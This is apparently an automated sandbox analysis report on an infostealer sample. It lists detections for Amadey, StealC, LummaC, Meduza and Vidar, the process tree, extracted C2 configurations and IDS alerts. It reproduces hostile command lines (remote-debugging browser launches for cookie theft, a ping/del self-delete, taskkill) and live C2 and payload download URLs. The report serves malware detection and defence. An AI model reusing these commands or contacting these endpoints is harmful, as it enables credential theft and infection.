Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570689
MD5:	defdf92be6053f805b80ffcf7850f3e3
SHA1:	d606c6240afcf6a8ed74df4406b51987c310559c
SHA256:	aa1fa0262e58fad0a03e9ee2dd446082e377b1e4f3317f74a70f81f84e217042
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected CredGrabber

Yara detected LummaC Stealer

Yara detected Meduza Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Ping/Del Command Combination

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DEFDF92BE6053F805B80FFCF7850F3E3)

chrome.exe (PID: 8044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2208,i,3491486157363799224,14608373548706337759,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8816 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9032 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2268,i,14806240799170882260,2828872377119636784,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 2324 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFBKFBGII.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EBFBKFBGII.exe (PID: 2988 cmdline: "C:\Users\user\Documents\EBFBKFBGII.exe" MD5: A359D8B520114D92895E10CFED863537)

skotes.exe (PID: 4708 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A359D8B520114D92895E10CFED863537)

msedge.exe (PID: 9084 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8444 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2044,i,4211555121704165277,11542586880325375554,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8240 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A359D8B520114D92895E10CFED863537)

Ed7zZr4.exe (PID: 1196 cmdline: "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe" MD5: 399B2859420738500EB977F816FE61E1)

Ed7zZr4.exe (PID: 8136 cmdline: "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe" MD5: 399B2859420738500EB977F816FE61E1)

cmd.exe (PID: 9156 cmdline: "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 8388 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: 2F46799D79D22AC72C241EC0322B011D)

bbbef9e2c3.exe (PID: 4736 cmdline: "C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe" MD5: B952F0B56D2A88FC5F6C940C02819CB5)

2a79a10743.exe (PID: 8688 cmdline: "C:\Users\user~1\AppData\Local\Temp\1012999001\2a79a10743.exe" MD5: DEFDF92BE6053F805B80FFCF7850F3E3)

c679ee9018.exe (PID: 8860 cmdline: "C:\Users\user~1\AppData\Local\Temp\1013000001\c679ee9018.exe" MD5: A6E76DEFCE11C0A2C4E7E8C1E32BF77B)

taskkill.exe (PID: 6412 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bbbef9e2c3.exe (PID: 9048 cmdline: "C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe" MD5: B952F0B56D2A88FC5F6C940C02819CB5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["impend-differ.biz", "print-vexer.biz", "dare-curbys.biz", "atten-supporse.biz", "formy-spill.biz", "se-blurry.biz", "covery-mover.biz", "dwell-exclaim.biz", "zinc-sneark.biz"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Meduza Stealer

{"C2 url": "5.252.155.28", "anti_vm": true, "anti_dbg": true, "port": 15666, "build_name": "824", "self_destruct": true, "extensions": "none", "links": "none", "grabber_max_size": 1048576}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000013.00000002.1893946605.00000000006E1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1865897595.00000000000F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1867314381.000000000103D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2478015270.0000000000131000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2433470637.0000022BC7C55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
0000001C.00000003.2434655833.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1262676419.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2504429791.00000000007F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.1933021027.00000000007F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2432809587.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: file.exe PID: 7308	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7308	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7308	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: Ed7zZr4.exe PID: 8136	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: Ed7zZr4.exe PID: 8136	JoeSecurity_CredGrabber	Yara detected CredGrabber	Joe Security
Process Memory Space: bbbef9e2c3.exe PID: 4736	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bbbef9e2c3.exe PID: 4736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bbbef9e2c3.exe PID: 4736	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2a79a10743.exe PID: 8688	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2a79a10743.exe PID: 8688	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.Ed7zZr4.exe.140000000.0.raw.unpack	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
26.2.Ed7zZr4.exe.140000000.0.unpack	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
23.2.skotes.exe.7f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.EBFBKFBGII.exe.6e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.skotes.exe.7f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8240, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bbbef9e2c3.exe

Sigma detected: Suspicious Ping/Del Command Combination

Source: Process started

Author: Ilya Krestinichev: Data: Command: "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe", CommandLine: "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe", ParentImage: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe, ParentProcessId: 8136, ParentProcessName: Ed7zZr4.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe", ProcessId: 9156, ProcessName: cmd.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7308, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 8044, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8240, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bbbef9e2c3.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\Documents\EBFBKFBGII.exe" , ParentImage: C:\Users\user\Documents\EBFBKFBGII.exe, ParentProcessId: 2988, ParentProcessName: EBFBKFBGII.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 4708, ProcessName: skotes.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:59.531715+0100	2028371	3	Unknown Traffic	192.168.2.7	49963	104.21.16.9	443	TCP
2024-12-07T18:28:03.630260+0100	2028371	3	Unknown Traffic	192.168.2.7	49973	104.21.16.9	443	TCP
2024-12-07T18:28:07.670029+0100	2028371	3	Unknown Traffic	192.168.2.7	49982	104.21.16.9	443	TCP
2024-12-07T18:28:12.162528+0100	2028371	3	Unknown Traffic	192.168.2.7	49994	104.21.16.9	443	TCP
2024-12-07T18:28:14.679718+0100	2028371	3	Unknown Traffic	192.168.2.7	50001	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:28:02.326099+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49963	104.21.16.9	443	TCP
2024-12-07T18:28:06.026748+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49973	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:28:02.326099+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49963	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:28:06.026748+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49973	104.21.16.9	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:59.531715+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49963	104.21.16.9	443	TCP
2024-12-07T18:28:03.630260+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49973	104.21.16.9	443	TCP
2024-12-07T18:28:07.670029+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49982	104.21.16.9	443	TCP
2024-12-07T18:28:12.162528+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49994	104.21.16.9	443	TCP
2024-12-07T18:28:14.679718+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50001	104.21.16.9	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:50.133955+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49944	185.215.113.43	80	TCP
2024-12-07T18:27:59.474692+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49962	185.215.113.43	80	TCP
2024-12-07T18:28:08.090760+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49983	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:56.612482+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.7	59398	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:26:13.535726+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49699	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:26:13.414575+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:26:13.865983+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:26:15.423045+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:26:13.987669+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49699	TCP

ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:53.383272+0100	2049441	1	A Network Trojan was detected	192.168.2.7	49941	5.252.155.28	15666	TCP

ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:53.383272+0100	2050806	1	A Network Trojan was detected	192.168.2.7	49941	5.252.155.28	15666	TCP
2024-12-07T18:27:53.503054+0100	2050806	1	A Network Trojan was detected	192.168.2.7	49941	5.252.155.28	15666	TCP

ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:53.383272+0100	2050807	1	A Network Trojan was detected	192.168.2.7	49941	5.252.155.28	15666	TCP
2024-12-07T18:27:53.503054+0100	2050807	1	A Network Trojan was detected	192.168.2.7	49941	5.252.155.28	15666	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:28:14.666762+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49994	104.21.16.9	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:26:12.941863+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP
2024-12-07T18:28:09.906558+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49986	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:35.082555+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49906	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:48.773614+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49915	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:27:39.602053+0100	2803305	3	Unknown Traffic	192.168.2.7	49920	31.41.244.11	80	TCP
2024-12-07T18:27:51.607595+0100	2803305	3	Unknown Traffic	192.168.2.7	49949	185.215.113.16	80	TCP
2024-12-07T18:28:01.164132+0100	2803305	3	Unknown Traffic	192.168.2.7	49966	185.215.113.16	80	TCP
2024-12-07T18:28:09.581477+0100	2803305	3	Unknown Traffic	192.168.2.7	49987	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T18:26:16.155513+0100	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.206	80	TCP
2024-12-07T18:26:44.331582+0100	2803304	3	Unknown Traffic	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:46.396672+0100	2803304	3	Unknown Traffic	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:48.256450+0100	2803304	3	Unknown Traffic	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:50.054079+0100	2803304	3	Unknown Traffic	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:55.400165+0100	2803304	3	Unknown Traffic	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:56.396919+0100	2803304	3	Unknown Traffic	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:27:01.781732+0100	2803304	3	Unknown Traffic	192.168.2.7	49831	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php#d	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/xxNHu#	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpCm	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php0b4ecf702cec0702bbd347ccec8e	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/P	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll/	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6946140361/Ed7zZr4.exeXYZ0123456789	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6946140361/Ed7zZr4.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php003	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpcl	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php000001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php;w9	Avira URL Cloud: Label: malware
